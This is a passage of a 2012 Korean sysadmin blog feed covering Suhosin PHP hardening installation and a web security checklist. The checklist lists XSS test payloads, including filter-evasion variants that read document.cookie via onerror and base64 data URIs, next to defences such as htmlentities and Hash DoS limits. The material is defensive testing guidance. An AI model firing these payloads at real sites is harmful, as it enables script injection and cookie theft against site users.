&lt;P&gt;# php -v&lt;br /&gt;PHP 5.3.9 (cli) (built: Mar 26 2012 18:04:12)&lt;br /&gt;Copyright (c) 1997-2012 The PHP Group&lt;br /&gt;Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; with &lt;SPAN style=&quot;COLOR: #0055ff&quot;&gt;&lt;STRONG&gt;Zend Guard Loader v3.3&lt;/STRONG&gt;&lt;/SPAN&gt;, Copyright (c) 1998-2010, by Zend Technologies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH&lt;/P&gt;&lt;/DIV&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>CentOS</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1628</guid>
			<comments>http://www.oops4u.com/1628#entry1628comment</comments>
			<pubDate>Thu, 29 Mar 2012 00:10:00 +0900</pubDate>
		</item>
		<item>
			<title>[보안] Suhosin</title>
			<link>http://www.oops4u.com/1627</link>
			<description>&lt;P&gt;PHP 를 위한 보안 강화 시스템.&lt;/P&gt;
&lt;P&gt;&lt;A class=tx-link href=&quot;http://www.hardened-php.net/suhosin/&quot; target=_blank&gt;http://www.hardened-php.net/suhosin/&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;install 방식은 patch 와 extension 이 있는데,&lt;/P&gt;php 설치 전이라면 patch 방식, php 설치 후라면 extension 방식으로 설치하면 되겠습니다. 
&lt;P&gt;download : &lt;A class=tx-link href=&quot;http://www.hardened-php.net/suhosin/download.html&quot; target=_blank&gt;http://www.hardened-php.net/suhosin/download.html&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;Patch&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;UL style=&quot;LIST-STYLE-TYPE: square&quot;&gt;
&lt;LI&gt;php 버전에 맞는 suhosin-patch 파일 다운로드&lt;/LI&gt;
&lt;LI&gt;php, suhosin-patch 압축해제&lt;/LI&gt;
&lt;LI&gt;php 소스파일 패치&lt;/LI&gt;
&lt;LI&gt;php 설치&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# wget http://download.suhosin.org/suhosin-patch-5.3.9-0.9.10.patch.gz&lt;br /&gt;# tar -xfj php-5.3.9.tar.bz2&lt;br /&gt;# gunzip suhosin-patch-5.3.9-0.9.10.patch.gz&lt;br /&gt;# cd php-5.3.9&lt;br /&gt;# &lt;SPAN style=&quot;COLOR: #ffbb00&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff5e00&quot;&gt;patch -p 1 -i&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt; ../suhosin-patch-5.3.9-0.9.10.patch&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;# ./configure --with-whatever-you-want [--enable-suhosin]&lt;br /&gt;# make&lt;br /&gt;# make install&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;Installing the Extension&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# wget http://download.suhosin.org/suhosin-0.9.33.tgz&lt;br /&gt;# tar zxvf suhosin-0.9.33.tgz&lt;br /&gt;# cd suhosin-0.9.33&lt;br /&gt;# phpize&lt;br /&gt;# ./configure &lt;br /&gt;# make&lt;br /&gt;# make install&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;# vi /etc/php.ini&lt;br /&gt;[suhosin]&lt;br /&gt;extension_dir=/usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/&lt;br /&gt;extension=suhosin.so&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;설치 확인&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #79a5e4 1px dashed; BORDER-LEFT: #79a5e4 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #dbe8fb; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #79a5e4 1px dashed; BORDER-RIGHT: #79a5e4 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# php -v&lt;br /&gt;PHP 5.3.9 (cli) (built: Mar 26 2012 18:04:12)&lt;br /&gt;Copyright (c) 1997-2012 The PHP Group&lt;br /&gt;Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; with &lt;SPAN style=&quot;COLOR: #0900ff&quot;&gt;&lt;STRONG&gt;Suhosin v0.9.33&lt;/STRONG&gt;&lt;/SPAN&gt;, Copyright (c) 2007-2012, by SektionEins GmbH&lt;/P&gt;&lt;/DIV&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>CentOS</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1627</guid>
			<comments>http://www.oops4u.com/1627#entry1627comment</comments>
			<pubDate>Wed, 28 Mar 2012 18:37:20 +0900</pubDate>
		</item>
		<item>
			<title>보안 검수</title>
			<link>http://www.oops4u.com/1626</link>
			<description>&lt;P&gt;1. XSS(Cross Site Scripting) 공격 발생 가능한 취약점.&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;2. DB 접근 제한.&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;3. Hash DoS 공격에 대한 취약점 확인.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;/STRONG&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #4174d9; FONT-SIZE: 12pt&quot;&gt;1. XSS(Cross Site Scripting) 공격 발생 가능한 취약점&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;사이트 상에서 사용자의 입력을 받는 모든 페이지에 XSS 공격이 가능.&lt;br /&gt;header, cookie, query, form 등에 대해 유효성 검사를 실시하고 사용자 입력 값에 대한 검증을 강화하여 방어.&lt;br /&gt;&lt;STRONG&gt;burp suite&lt;/STRONG&gt; 등의 proxy 툴을 이용하여 변조 테스트 가능.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;일반적으로 사용자가 form 필드에 &amp;lt;script&amp;gt;alert(&quot;XSS Attack&quot;);&amp;lt;/script&amp;gt; 를 입력했을 때,&lt;br /&gt;의도한대로 alert 창이 띄워진다면 XSS 공격에 취약하다고 볼 수 있음.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;공격 패턴&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;UL style=&quot;LIST-STYLE-TYPE: disc&quot;&gt;
&lt;LI&gt;기본패턴 : &amp;lt;sCriPt&amp;gt;alErt(doCumEnt.coOkie)&amp;lt;/ScriPt&amp;gt;&lt;/LI&gt;
&lt;LI&gt;인코딩 패턴 : &amp;lt;scrip%00t&amp;gt;alert(2222)&amp;lt;/scRi%00pT&amp;gt;&lt;/LI&gt;
&lt;LI&gt;event handler 우회 패턴 : &amp;lt;img//src=&quot;something&quot;//oneRRor='a=alert;b=dOcumEnt;a(b./**/cOokIe)'&amp;gt;&lt;/LI&gt;
&lt;LI&gt;expression 우회 패턴 : &amp;lt;p+style='x:eXp/*xss*/resSion(alert(document.cookie))'&amp;gt;&amp;lt;/p&amp;gt;&lt;/LI&gt;
&lt;LI&gt;HTML5 패턴 : &amp;lt;video src=1 onerror=alert('XSS3')&amp;gt;&lt;/LI&gt;
&lt;LI&gt;Base64 인코딩 패턴 : &amp;lt;object data=&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgnb2JqZWN0X3NjcmlwdF9hbGVydCcpPC9zY3JpcHQ+&quot;&amp;gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;대응책&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;사용자 입력 필드 또는 검색어 필드에서 입력된 값에 HTML Entity 변환 및 16진수 변환등으로 코드 실행 방지와 black keyword 추가&lt;/P&gt;
&lt;P&gt;htmlentities( a, ENT_QUOTES ) 혹은 replace( a, &quot;&amp;lt;&quot;, &quot;&amp;amp;lt;&quot; ) 사용.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;COLOR: #4174d9&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;2. DB 접근제한 조치&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;DB 외부 오픈 제한(ACL등), mysql 기본포트 변경 (3306-&amp;gt;13306 등...)&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;대응책&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi /etc/my.cnf&lt;br /&gt;[mysqld]&lt;br /&gt;port=&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff0000&quot;&gt;13306&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;COLOR: #4174d9&quot;&gt;&lt;STRONG&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;COLOR: #4174d9&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;3. Hash DoS 공격에 대한 취약점 확인&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;PHP 버전이 낮아서 Hash DoS 공격의 가능성이 있다.&lt;br /&gt;수정된 버전(&lt;SPAN style=&quot;COLOR: #ff0000&quot;&gt;&lt;STRONG&gt;PHP 5.4.0 RC 이상, PHP 5.3.9이상&lt;/STRONG&gt;&lt;/SPAN&gt;)을 사용할 것을 권고&lt;br /&gt;max_input_vars 설정으로 파라미터의 수를 제한&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;PHP 보안 모듈(&lt;SPAN style=&quot;COLOR: #ff0000&quot;&gt;&lt;STRONG&gt;suhosin&lt;/STRONG&gt;&lt;/SPAN&gt;) 사용 (아래의 설정은 최대 파라미터 개수를 500개로 제한한 예시)&lt;br /&gt;suhosin.post.max_value_lenth = 1000000&lt;br /&gt;suhosin.post.max_vars = 500&lt;br /&gt;suhosin.request.max_vars = 500&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;기존PHP버전 (완벽한 해결이 아닌 공격을 약화시키는 방법)&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;COLOR: #ff0000&quot;&gt;&lt;STRONG&gt;php.ini &lt;/STRONG&gt;&lt;/SPAN&gt;설정값 변경 (아래의 값을 변경하여 공격을 완화할 수 있다. 수치는 default임 ) &lt;br /&gt;max_input_time = 60 (요청 데이터를 파싱하는데 걸리는 최대 시간)&lt;br /&gt;post_max_size = 8M (POST 사이즈 제한)&lt;br /&gt;=&amp;gt; 파일이 업로드 되는 서비스는 POST 사이즈가 크므로 post_max_size로 적용하기는 어렵고, max_input_time 만 설정해 볼 수 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;대응책&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;PHP 5.3.9 설치, suhosin 설치, php.ini 수정.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Prog</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1626</guid>
			<comments>http://www.oops4u.com/1626#entry1626comment</comments>
			<pubDate>Tue, 27 Mar 2012 18:55:46 +0900</pubDate>
		</item>
		<item>
			<title>이 또한 지나가리라</title>
			<link>http://www.oops4u.com/1624</link>
			<description>&lt;br /&gt;
